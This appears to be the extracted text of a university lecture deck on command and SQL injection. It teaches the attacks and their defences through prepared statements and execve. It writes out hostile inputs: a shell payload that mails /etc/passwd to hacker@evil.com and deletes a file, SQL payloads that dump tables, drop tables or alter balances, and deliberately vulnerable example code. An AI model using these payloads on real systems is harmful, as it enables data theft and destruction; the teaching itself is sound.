Web Security: Injection

CS 161: Computer Security

Prof. Vern Paxson

TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn, Warren He, Grant Ho, Frank Li, Nathan Malkin, Mitar Milutinovic, Rishabh Poddar, Rebecca Portnoff, Nate Wang

http://inst.eecs.berkeley.edu/~cs161/

February 2, 2017
/* print any employees whose name 
 * matches the given regex */
void find_employee(char *regex)
{
    char cmd[512];
    snprintf(cmd, sizeof cmd,
        "grep %s phonebook.txt", regex);
    system(cmd);
}

Problems?
Control information, not data

Instead of http://harmless.com/phonebook.cgi?
regex=Alice.*Smith

How about http://harmless.com/phonebook.cgi?
regex=foo%20x;%20mail%20-s%20hacker@evil.com
%20</etc/passwd;%20rm

grep foo x; mail -s hacker@evil.com </etc/passwd; rm phonebook.txt"
<table>
<thead>
<tr>
<th>Rank</th>
<th>Score</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>[1]</td>
<td>93.8</td>
<td>CWE-89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>('SQL Injection')</td>
</tr>
<tr>
<td>[2]</td>
<td>83.3</td>
<td>CWE-78</td>
<td>Improper Neutralization of Special Elements used in an OS Command</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>('OS Command Injection')</td>
</tr>
<tr>
<td>[3]</td>
<td>79.0</td>
<td>CWE-120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
</tr>
<tr>
<td>[4]</td>
<td>77.7</td>
<td>CWE-79</td>
<td>Improper Neutralization of Input During Web Page Generation</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>('Cross-site Scripting')</td>
</tr>
<tr>
<td>[6]</td>
<td>76.8</td>
<td>CWE-862</td>
<td>Missing Authorization</td>
</tr>
<tr>
<td>[7]</td>
<td>75.0</td>
<td>CWE-798</td>
<td>Use of Hard-coded Credentials</td>
</tr>
<tr>
<td>[8]</td>
<td>75.0</td>
<td>CWE-311</td>
<td>Missing Encryption of Sensitive Data</td>
</tr>
<tr>
<td>[9]</td>
<td>74.0</td>
<td>CWE-434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
</tr>
<tr>
<td>[10]</td>
<td>73.8</td>
<td>CWE-807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
</tr>
<tr>
<td>[11]</td>
<td>73.1</td>
<td>CWE-250</td>
<td>Execution with Unnecessary Privileges</td>
</tr>
<tr>
<td>[12]</td>
<td>70.1</td>
<td>CWE-352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>[13]</td>
<td>69.3</td>
<td>CWE-22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>('Path Traversal')</td>
</tr>
<tr>
<td>[14]</td>
<td>68.5</td>
<td>CWE-494</td>
<td>Download of Code Without Integrity Check</td>
</tr>
<tr>
<td>[16]</td>
<td>66.0</td>
<td>CWE-829</td>
<td>Inclusion of Functionality from Untrusted Control Sphere</td>
</tr>
<tr>
<td>Rank</td>
<td>Score</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-------</td>
<td>--------</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>1</td>
<td>93.8</td>
<td>CWE-89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
</tr>
<tr>
<td>2</td>
<td>83.3</td>
<td>CWE-78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
</tr>
<tr>
<td>3</td>
<td>79.0</td>
<td>CWE-120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
</tr>
<tr>
<td>4</td>
<td>77.7</td>
<td>CWE-79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
</tr>
<tr>
<td>5</td>
<td>76.9</td>
<td>CWE-306</td>
<td>Missing Authentication for Critical Function</td>
</tr>
<tr>
<td>6</td>
<td>76.8</td>
<td>CWE-862</td>
<td>Missing Authorization</td>
</tr>
<tr>
<td>7</td>
<td>75.0</td>
<td>CWE-798</td>
<td>Use of Hard-coded Credentials</td>
</tr>
<tr>
<td>8</td>
<td>75.0</td>
<td>CWE-311</td>
<td>Missing Encryption of Sensitive Data</td>
</tr>
<tr>
<td>9</td>
<td>74.0</td>
<td>CWE-434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
</tr>
<tr>
<td>10</td>
<td>73.8</td>
<td>CWE-807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
</tr>
<tr>
<td>11</td>
<td>73.1</td>
<td>CWE-250</td>
<td>Execution with Unnecessary Privileges</td>
</tr>
<tr>
<td>12</td>
<td>70.1</td>
<td>CWE-352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>13</td>
<td>69.3</td>
<td>CWE-22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
</tr>
<tr>
<td>14</td>
<td>68.5</td>
<td>CWE-494</td>
<td>Download of Code Without Integrity Check</td>
</tr>
<tr>
<td>15</td>
<td>67.8</td>
<td>CWE-863</td>
<td>Incorrect Authorization</td>
</tr>
<tr>
<td>16</td>
<td>66.0</td>
<td>CWE-829</td>
<td>Inclusion of Functionality from Untrusted Control Sphere</td>
</tr>
</tbody>
</table>
How To Fix *Command Injection*?

```c
snprintf(cmd, sizeof cmd,
    "grep %s phonebook.txt", regex);
```

- One general approach: *input sanitization*
  - Look for anything nasty in the input …
  - … and “defang” it / remove it / escape it

- Seems simple enough, but:
  - *Tricky* to get right
  - *Brittle*: if you get it wrong & miss something, you **LOSE**
    - Attack slips past!
  - Approach in general is a form of “*default allow*”
    - i.e., input is by default okay, only **known problems** are removed
How To Fix *Command Injection*?

```c
snprintf(cmd, sizeof(cmd,
    "grep '%s' phonebook.txt", regex);
```

Simple idea: *quote* the data to enforce that it’s indeed interpreted as data …

⇒ grep ‘foo x; mail -s hacker@evil.com <\etc/passwd; rm' phonebook.txt

Argument is back to being **data**; a single (large/messy) pattern to grep

Problems?
How To Fix Command Injection?

```
snprintf(cmd, sizeof cmd, 
    "grep "\"%s\\n\" phonebook.txt", regex); 
...
regex=foo' x; mail -s hacker@evil.com </etc/passwd; rm'
```

Whoops, control information again, not data

This turns into an empty string, so sh sees command as just “rm”

⇒ grep 'foo' x; mail -s hacker@evil.com </etc/passwd; rm'' phonebook.txt

Maybe we can add some special-casing and patch things up … but hard to be confident we have it fully correct!
Issues With *Input Sanitization*

- In principle, can prevent injection attacks by properly **sanitizing** input
  - Remove inputs with *meta-characters*
    - (can have “collateral damage” for benign inputs)
  - Or **escape** any meta-characters (including escape characters!)
    - Requires a **complete** model of how input subsequently processed
      - E.g. …regex=foo%27 x; mail …

- Easy to get wrong!
- Better: **avoid using a feature-rich API** (if possible)
  - KISS + defensive programming

%27 is an escape sequence that expands to a single quote
This is the core problem. system() provides too much functionality!
- treats arguments passed to it as full shell command

If instead we could just run grep directly, no opportunity for attacker to sneak in other shell commands!
/* print any employees whose name
 * matches the given regex */
void find_employee(char *regex)
{
    char *path = "/usr/bin/grep";
    char *argv[10]; /* room for plenty of args */
    char *envp[1]; /* no room since no env. */
    int argc = 0;
    argv[argc++] = path; /* argv[0] = prog name */
    argv[argc++] = "-e"; /* force regex as pat. */
    argv[argc++] = regex;
    argv[argc++] = "phonebook.txt";
    argv[argc++] = 0;
    envp[0] = 0;
    if (execve(path, argv, envp) < 0 )
        command_failed(. . . . . .);
}
/* print any employees whose name 
 * matches the given regex */
void find_employee(char *regex) 
{
    char *path = "/usr/bin/grep";
    char *argv[10];/* room for plenty of args */
    char *envp[1]; /* no room since no env. */
    int argc = 0;
    argv[argc++] = path;/* argv[0] = prog name */
    argv[argc++] = "-e"; /* force regex as pat. */
    argv[argc++] = regex;
    argv[argc++] = "phonebook.txt";
    argv[argc++] = 0;
    envp[0] = 0;

    if ( execve(path, argv, envp) < 0 )
        command_failed(.....);
}
/* print any employees whose name * matches the given regex */
void find_employee(char *regex)
{
    char *path = "/usr/bin/grep";
    char *argv[10];/* room for plenty of args */
    char *envp[1]; /* no room since no env. */
    int argc = 0;

    argv[argc++] = path;/* argv[0] = prog name */
    argv[argc++] = "-e";/* force regex as pat.*/
    argv[argc++] = regex;
    argv[argc++] = "phonebook.txt";
    argv[argc++] = 0;

    envp[0] = 0;

    if (execve(path, argv, envp) < 0)
        command_failed();
}
Command Injection in the Real World
The hbgaryfederal.com CMS was susceptible to a kind of attack called SQL injection. In common with other CMSes, the hbgaryfederal.com CMS stores its data in an SQL database, retrieving data from that database with suitable queries. Some queries are fixed—an integral part of the CMS application itself. Others, however, need parameters. For example, a query to retrieve an article from the CMS will generally need a parameter corresponding to the article ID number. These parameters are, in turn, generally passed from the Web front-end to the CMS.

It has been an embarrassing week for security firm HBGary and its HBGary Federal offshoot. HBGary Federal CEO Aaron Barr thought he had unmasked the hacker hordes of Anonymous and was preparing to name and shame those responsible for co-ordinating the group's actions, including the denial-of-service attacks that hit MasterCard, Visa, and other perceived enemies of WikiLeaks late last year.

When Barr told one of those he believed to be an Anonymous ringleader about his forthcoming exposé, the Anonymous response was swift and humiliating. HBGary's servers were broken into, its e-mails pillaged and published to the world, its data destroyed, and its website defaced. As an added bonus, a second site owned
Command Injection in the Real World

From the looks of it, however, one out... 

UC Berkeley computers hacked, 160,000 at risk

May 8, 2009 1:53 PM PDT

by Michelle Meyers

This post was updated at 2:16 p.m. PDT with comment from an outside database security software vendor.

Hackers broke into the University of California at Berkeley's health services center computer and potentially stole the personal information of more than 160,000 students, alumni, and others, the university announced Friday.

At particular risk of identity theft are some 97,000 individuals whose Social Security numbers were accessed in the breach, but it's still unclear whether hackers were able to match up those SSNs with individual names, Shelton Waqqener, UCB's chief technology officer, said in a press conference Friday afternoon.
Command Injection in the Real World

Hundreds of Thousands of Microsoft Web Servers Hacked

Hundreds of thousands of Web sites - including several at the United Nations and in the U.K. government -- have been hacked recently and seeded with code that tries to exploit security flaws in Microsoft Windows to install malicious software on visitors' machines.

Update, April 29, 11:28 a.m. ET: In a post to one of its blogs, Microsoft says this attack was not the fault of a flaw in IIS: "...our investigation has shown that there are no new or unknown vulnerabilities being exploited.

The attacks are facilitated by SQL injection exploits and are not issues related to IIS 6.0, ASP, ASP.Net or Microsoft SQL technologies. SQL injection attacks enable malicious users to execute commands in an application's database. To protect against SQL injection attacks the
<table>
<thead>
<tr>
<th>Rank</th>
<th>Score</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>[1]</td>
<td>93.8</td>
<td>CWE-89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
</tr>
<tr>
<td>[2]</td>
<td>83.3</td>
<td>CWE-78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
</tr>
<tr>
<td>[3]</td>
<td>79.0</td>
<td>CWE-120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
</tr>
<tr>
<td>[4]</td>
<td>77.7</td>
<td>CWE-79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
</tr>
<tr>
<td>[6]</td>
<td>76.8</td>
<td>CWE-862</td>
<td>Missing Authorization</td>
</tr>
<tr>
<td>[7]</td>
<td>75.0</td>
<td>CWE-798</td>
<td>Use of Hard-coded Credentials</td>
</tr>
<tr>
<td>[8]</td>
<td>75.0</td>
<td>CWE-311</td>
<td>Missing Encryption of Sensitive Data</td>
</tr>
<tr>
<td>[9]</td>
<td>74.0</td>
<td>CWE-434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
</tr>
<tr>
<td>[10]</td>
<td>73.8</td>
<td>CWE-807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
</tr>
<tr>
<td>[11]</td>
<td>73.1</td>
<td>CWE-250</td>
<td>Execution with Unnecessary Privileges</td>
</tr>
<tr>
<td>[12]</td>
<td>70.1</td>
<td>CWE-352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>[13]</td>
<td>69.3</td>
<td>CWE-22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
</tr>
<tr>
<td>[14]</td>
<td>68.5</td>
<td>CWE-494</td>
<td>Download of Code Without Integrity Check</td>
</tr>
<tr>
<td>[16]</td>
<td>66.0</td>
<td>CWE-829</td>
<td>Inclusion of Functionality from Untrusted Control Sphere</td>
</tr>
</tbody>
</table>
Use of Databases for Web Services
Structure of Modern Web Services

Browser

URL / Form: command.php?arg1=x&arg2=y

Web server

Database query built from x and y

Database server
Structure of Modern Web Services

Browser

Web server

Custom data corresponding to x & y

Database server
Structure of Modern Web Services

Browser → Web page built using custom data → Web server → Database server
Databases

**Structured** collection of data
- Often storing tuples/rows of related values
- Organized in tables

<table>
<thead>
<tr>
<th>AcctNum</th>
<th>Username</th>
<th>Balance</th>
</tr>
</thead>
<tbody>
<tr>
<td>1199</td>
<td>zuckerberg</td>
<td>7746533.71</td>
</tr>
<tr>
<td>0501</td>
<td>bgates</td>
<td>4412.41</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>
Databases

- Management of groups (tuples) of related values
- Widely used by web services to track per-user information
- Database runs as separate process to which web server connects
  - Web server sends queries or commands parameterized by incoming HTTP request
  - Database server returns associated values
  - Database server can also modify/update values

<table>
<thead>
<tr>
<th>AcctNum</th>
<th>Username</th>
<th>Balance</th>
</tr>
</thead>
<tbody>
<tr>
<td>1199</td>
<td>zuckerberg</td>
<td>7746533.71</td>
</tr>
<tr>
<td>0501</td>
<td>bgates</td>
<td>4412.41</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>
• Widely used database query language
  – (Pronounced “ess-cue-ell” or “sequel”)
• Fetch a set of records:

  SELECT field FROM table WHERE condition

returns the value(s) of the given field in the specified table, for all records where condition is true.

• E.g:

  SELECT Balance FROM Customer
  WHERE Username='bgates'

will return the value 4412.41
SQL, con’t

• Can add data to the table (or modify):

```sql
INSERT INTO Customer
VALUES (8477, 'oski', 10.00) -- oski has ten buckaroos
```

Strings are enclosed in single quotes; some implementations also support double quotes.

An SQL comment
<table>
<thead>
<tr>
<th>AcctNum</th>
<th>Username</th>
<th>Balance</th>
</tr>
</thead>
<tbody>
<tr>
<td>1199</td>
<td>zuckerberg</td>
<td>7746533.71</td>
</tr>
<tr>
<td>0501</td>
<td>bgates</td>
<td>4412.41</td>
</tr>
<tr>
<td>8477</td>
<td>oski</td>
<td>10.00</td>
</tr>
</tbody>
</table>
SQL, con’t

• Can add data to the table (or modify):
  INSERT INTO Customer
    VALUES (8477, 'oski', 10.00) -- oski has ten buckaroos

• Or delete entire tables:
  DROP Customer

• Semicolons separate commands:
  INSERT INTO Customer VALUES (4433, 'vladimir', 888.99); SELECT AcctNum FROM Customer
  WHERE Username='vladimir'
  returns 4433.
Database Interactions

1. post form or parameterized URL

2. SQL query derived from user values

3. return data
Web Server SQL Queries

• Suppose web server runs the following PHP code:
  ```php
  $recipient = $_POST['recipient'];
  $sql = "SELECT AcctNum FROM Customer
        WHERE Balance < 100 AND
        Username='\$recipient' ";
  $result = $db->executeQuery($sql);
  ```

• The query returns recipient’s account number if their balance is < 100

• Web server will send value of $sql variable to database server to get account #s from database
Web Server SQL Queries

• Suppose web server runs the following PHP code:
  
  ```php
  $recipient = $_POST['recipient'];
  $sql = "SELECT AcctNum FROM Customer WHERE Balance < 100 AND Username='$recipient' ";
  $result = $db->executeQuery($sql);
  
  So for “?recipient=Bob” the SQL query is:
  
  SELECT AcctNum FROM Customer WHERE Balance < 100 AND Username='Bob'
  ```
SELECT AcctNum FROM Customer
WHERE Balance < 100 AND Username='Bob'
SQL injection
Suppose web server runs the following PHP code:

```php
$recipient = $_POST['recipient'];
$sql = "SELECT AcctNum FROM Customer WHERE Balance < 100 AND Username='$recipient' ";
$result = $db->executeQuery($sql);
```

How can `$recipient` cause trouble here?

– How can we see anyone’s account?
  • Even if their balance is >= 100
Basic picture: SQL Injection

1. post malicious form
   $recipient$ specified by attacker

2. unintended SQL query

3. receive valuable data

Victim Web Server

SQL DB

Attacker

How can $recipient$ cause trouble here?
SQL Injection Scenario, con’t

WHERE Balance < 100 AND
   Username='$recipient'

• Conceptual idea (doesn’t quite work): Set recipient to “foo' OR 1=1” ...
   WHERE Balance < 100 AND
       Username='foo' OR 1=1'

• Precedence makes this:
   WHERE (Balance < 100 AND
       Username='foo') OR 1=1'

• Always true!
SELECT AcctNum FROM Customer
WHERE (Balance < 100 AND Username='foo') OR 1=1
SQL Injection Scenario, con’t

• Why “foo' OR 1=1” doesn’t quite work:
  WHERE Balance < 100 AND
  Username='foo' OR 1=1’
  
  *Syntax error: quotes aren’t balanced
  SQL server will reject command as ill-formed
SQL Injection Scenario, con’t

• Why “foo' OR 1=1” doesn’t quite work:
  WHERE Balance < 100 AND
  Username='foo' OR 1=1'

• Sneaky fix: use “foo' OR 1=1--”
  Begins SQL comment …
SQL Injection Scenario, con’t

• Why “foo' OR 1=1” doesn’t quite work:
  WHERE Balance < 100 AND
  Username='foo' OR 1=1'

• Sneaky fix: use “foo' OR 1=1 --”

• SQL server sees:
  WHERE Balance < 100 AND
  Username='foo' OR 1=1--'

When parsing SQL query, SQL server ignores all of this since it’s a comment …

So now it finds the quotes balanced; no syntax error; **successful injection!**
SQL Injection Scenario, con’t

WHERE Balance < 100 AND Username='$recipient'

• How about $recipient = foo'; DROP TABLE Customer; -- ?

• Now there are two separate SQL commands, thanks to ‘;’ command-separator.

• Can change database however you wish
SQL Injection Scenario, con’t

WHERE Balance < 100 AND Username='$_recipient'

- $recipient = foo'; SELECT * FROM Customer; --
  - Returns the entire database!

- $recipient = foo'; UPDATE Customer SET Balance=9999999 WHERE AcctNum=1234; --
  - Changes balance for Acct # 1234!
5 Minute Break

Questions Before We Proceed?
SQL Injection: Summary

• **Target:** web server that uses a back-end database

• **Attacker goal:** inject or modify database commands to either read or alter web-site information

• **Attacker tools:** ability to send requests to web server (e.g., via an ordinary browser)

• **Key trick:** web server allows characters in attacker’s input to be interpreted as SQL control elements rather than simply as data
Welcome to the Amazing World Of Squigler …
Demo Tools

• **Squigler**
  – Cool “localhost” web site(s) (Python/SQLite)
  – Developed by Arel Cordero, Ph.D.
  – I’ll put a copy on the class page in case you’d like to play with it

• **Bro**: freeware network monitoring tool ([bro.org](http://bro.org))
  – Scriptable
  – Primarily designed for real-time intrusion detection
  – Will put output & copy of (simple) script on class page
  – [bro.org](http://bro.org)
### Some Squigler Database Tables

<table>
<thead>
<tr>
<th>Username</th>
<th>Body</th>
<th>Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>ethan</td>
<td>My first squig!</td>
<td>2017-02-01</td>
</tr>
<tr>
<td></td>
<td></td>
<td>21:51:52</td>
</tr>
<tr>
<td>cathy</td>
<td>@ethan: borrr-ing!</td>
<td>2017-02-01</td>
</tr>
<tr>
<td></td>
<td></td>
<td>21:52:06</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>
def post_squig(user, squig):
    if not user or not squig: return
    conn = sqlite3.connect(DBFN)
    c = conn.cursor()
    c.executescript("INSERT INTO squigs VALUES ('%s', '%s', datetime('now'));" % (user, squig))
    conn.commit()
    c.close()

    INSERT INTO squigs VALUES (dilbert, 'don\'t contractions work?', date);  

Server code for posting a “squig”

Syntax error
## Squigler Database Tables, con’t

<table>
<thead>
<tr>
<th>Accounts</th>
</tr>
</thead>
<tbody>
<tr>
<td>username</td>
</tr>
<tr>
<td>dilbert</td>
</tr>
<tr>
<td>alice</td>
</tr>
<tr>
<td>…</td>
</tr>
</tbody>
</table>
INSERT INTO squigs VALUES
dilbert, ''' || (select (username || '.' || password) from accounts where username='bob') || '''
, date);
Empty string literals
INSERT INTO squigs VALUES 
(dilbert, '' || (select (username || '.' || password) from accounts where username='bob') || '', 
  date);

A blank separator, just for tidiness
INSERT INTO squigs VALUES
(dilbert, (select (username || '_' || password) from accounts where username='bob') || ' ',
date);

Concatenation operator.
Concatenation of string $S$ with empty string is just $S$

Value of the squig will be Bob’s username and password!
SQL Injection Prevention?

(Perhaps) *Sanitize* user input: check or enforce that value/string that does not have commands of any sort

- Disallow special characters, or
- *Escape* input string

```
SELECT PersonID FROM People WHERE Username='alice\'; SELECT * FROM People;
```

*Risky* because it’s easy to overlook a corner-case in terms of what to disallow or escape

*But:* can be part of defense-in-depth
Escaping Input

- The input string should be interpreted as a string and not as including any special characters.

- To escape potential SQL characters, add backslashes in front of special characters in user input, such as quotes or backslashes.
SQL Processing

- If parser sees ' it considers a string is starting or ending
- If parser sees \ it considers it converts it to '
- If parser sees \ it considers it converts it to \n
For
```
SELECT PersonID FROM People WHERE Username='alice'; SELECT * FROM People;
```

The username will be matched against
```
alice'; SELECT * FROM People;' and no match found
```

- Different SQL parsers have different escape sequences or APIs for escaping
Examples

Against what string do we compare Username (after SQL parsing), and when does it flag a syntax error?

[..] WHERE Username='alice';

alice

[..] WHERE Username='alice\';

Syntax error, quote not closed

[..] WHERE Username='alice\"';

alice‘

[..] WHERE Username='alice\\';

alice\

because \ gets converted to \ by the parser
SQL Injection: Better Defenses

Language support for constructing queries
Specify query structure independent of user input:

```java
ResultSet getProfile(Connection conn, String arg_user)
{
    String query = "SELECT AcctNum FROM Customer WHERE Balance < 100 AND Username = ?";
    PreparedStatement p = conn.prepareStatement(query);
    p.setString(1, arg_user);
    return p.executeQuery();
}
```

“Prepared Statement”
SQL Injection: Better Defenses

Language support for constructing queries
Specify query structure independent of user input:

```java
ResultSet getProfile(Connection conn, String arg_user) {
    String query = "SELECT AcctNum FROM Customer WHERE Balance < 100 AND Username = ?";
    PreparedStatement p = conn.prepareStatement(query);
    p.setString(1, arg_user);
    return p.executeQuery();
}
```

Untrusted user input
Language support for constructing queries
Specify query structure independent of user input:

```java
ResultSet getProfile(Connection conn, String arg_user) {
    String query = "SELECT AcctNum FROM Customer WHERE Balance < 100 AND Username = ?";
    PreparedStatement p = conn.prepareStatement(query);
    p.setString(1, arg_user);
    return p.executeQuery();
}
```

Input is confined to a single SQL data value
Note: prepared statement only allows ?’s at leaves, not internal nodes. So structure of tree is fixed.
SQL Injection: Better Defenses

Language support for constructing queries
Specify query structure independent of user input:

```java
ResultSet getProfile(Connection conn, String arg_user) {
    String query = "SELECT AcctNum FROM Customer WHERE Balance < 100 AND Username = ?";
    PreparedStatement p = conn.prepareStatement(query);
    p.setString(1, arg_user);
    return p.executeQuery();
}
```

Binds the value of `arg_user` to '?' leaf
SQL Injection: Better Defenses

Language support for constructing queries
Specify query structure independent of user input:

```java
ResultSet getProfile(Connection conn, String arg_user) {
    String query = "SELECT AcctNum FROM Customer WHERE Balance < 100 AND Username = ?";
    PreparedStatement p = conn.prepareStatement(query);
    p.setString(1, arg_user);
    return p.executeQuery();
}
```

No matter what input user provides, Prepared Statement ensures it will be treated as a single SQL datum
Parse Tree Template Constructed by Prepared Statement

This will never be true (assuming no bizarre Usernames!), so no database records will be returned.
Questions?